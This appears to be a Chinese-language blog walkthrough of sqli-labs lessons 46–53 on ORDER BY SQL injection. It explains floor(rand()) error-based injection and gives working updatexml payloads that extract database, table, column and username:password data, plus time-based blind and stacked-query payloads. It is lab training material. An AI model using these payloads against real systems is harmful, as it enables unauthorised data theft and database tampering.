less-46

一進入網頁,先看到的是以下頁面:

照上圖反藍處的說明,把原本的id=1改成sort=1:

可以看見列出帳密的表格。

可以發現這一次在1後面多加了desc,即可造成表格變化,從大排到小,所以存在sql injection注入。

這一次的sql語句為:

sql = "SELECT * FROM users ORDER BY id";

因為注入點是在order by以後,所以大家把這叫做order by注入。

這一關沒做什麼防護,大概也是屬於數值型,不需要什麼閉合,所以隨便輸入個什麼都能注入:

上圖是使用報錯注入,語句如上圖反藍處,結果如上圖反灰處。

語句分析:

select count(*) from users group by concat(database(),floor(rand(0)*2));

select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

這兩句要表達的意思是一樣的,as x其實就是concat(database(),floor(rand(0)*2))

rand() & floor() & concat()

先來看看rand(0)。rand()是可以產生介於0-1之間的隨機數的函數。如果指定了括號內的數字,那麼每一次都會給出一樣的數字:

mysql> select rand();
+---------------------+
| rand()              |
+---------------------+
| 0.01474338305624517 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand();
+----------------------+
| rand()               |
+----------------------+
| 0.008617774591425225 |
+----------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

而floor(n)則會返回不大於n的最大整數,所以floor(3.3)返回3,floor(-3.3)返回-4。

concat()是字符串拼接函數,拼接多个字符串。

group by & count(*)

接下來看看group by跟count(*)。group by在執行時,會依次取出查詢表中的記錄並創建一個臨時表,group by的對象便是該臨時表的主鍵。如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中,注意是插入!

假設現在我們的user這個table的內容是:

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 38 | less38   | hello      |
+----+----------+------------+
14 rows in set (0.00 sec)

然後接下來下的指令是:

select count(*) from users group by username;

那麼這指令會新創一張表,把剛剛users那張表的username作為主鍵,計算出現的次數,如下所示:

實例:

mysql> select count(*),username from users group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
|        1 | admin    |
|        1 | admin1   |
|        1 | admin2   |
|        1 | admin3   |
|        1 | admin4   |
|        1 | Angelina |
|        1 | batman   |
|        1 | dhakkan  |
|        1 | Dumb     |
|        1 | Dummy    |
|        1 | less38   |
|        1 | secure   |
|        1 | stupid   |
|        1 | superman |
+----------+----------+
14 rows in set (0.00 sec)

所以再次回到原本的語句:

select count(*) from users group by concat(database(),floor(rand(0)*2));

這一次的主鍵是concat(database(),floor(rand(0)2)),所以主鍵可能會是security 0(0是floor(rand(0)2))的結果),問題是每一次主鍵重複,只會硬插入,不會再count累加,因此報錯。

總結

floor()報錯注入的原因是group by在向臨時表插入數據時,由於rand()多次計算導致插入臨時表時主鍵重覆,從而報錯,又因為報錯前concat()中的SQL語句或函數被執行,所以該語句報錯且被拋出的主鍵是SQL語句或函數執行後的結果。

當然,也可以使用updatexml來進行報錯攻擊:

用以下查詢語句,取代上圖反藍即可:

#顯示目前DB
updatexml(1,concat("!",(database())),2)

#爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)

#爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)

#爆出column內容
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)#LIMIT後面數字可以控制要爆出第幾號帳密。

less-47

跟less-46相同,只是這一次是用單引號閉合,注意要有and。只要把下圖反藍換成less-46最後的updatexml報錯語句即可。

1' and (updatexml(1,concat("!",(database())),2))--+

less-48

這一次是數值型注入,錯誤不回顯,所以無法再用updatexml進行報錯注入,所以改用延時注入:

1 and if(length(database())='8',sleep(1),1) --+

上圖藍字可改為其他條件,若條件成立可多load 1秒。

less-49

一樣錯誤不回顯,用延時注入,這一次是單引號閉合:

1' and if(length(database())='8',sleep(1),1) --+

less-50

這一次是order by注入+堆疊注入,注入模式為數值型,不須閉合:

sort=1;create table demo like users;--+

上圖反藍可以換成其他操作語句。

less-51

跟上題相同,只是閉合變成單引號:

sort=1';create table demo like users;--+

less-52

payload同less-50,只是這一次頁面不會回顯。

less-53

payload同less-51,只是這一次頁面不會回顯。

reference

关于floor()报错注入,你真的懂了吗? - FreeBuf网络安全行业门户


#sql injection: get method非id而是sort(order by注入)







Related Posts

4.  SpringBoot使用jms設定錯誤處理(errorHandler)

4. SpringBoot使用jms設定錯誤處理(errorHandler)

淺談 Redux 的特性與資料流

淺談 Redux 的特性與資料流

一些常用的 shell 指令

一些常用的 shell 指令


Comments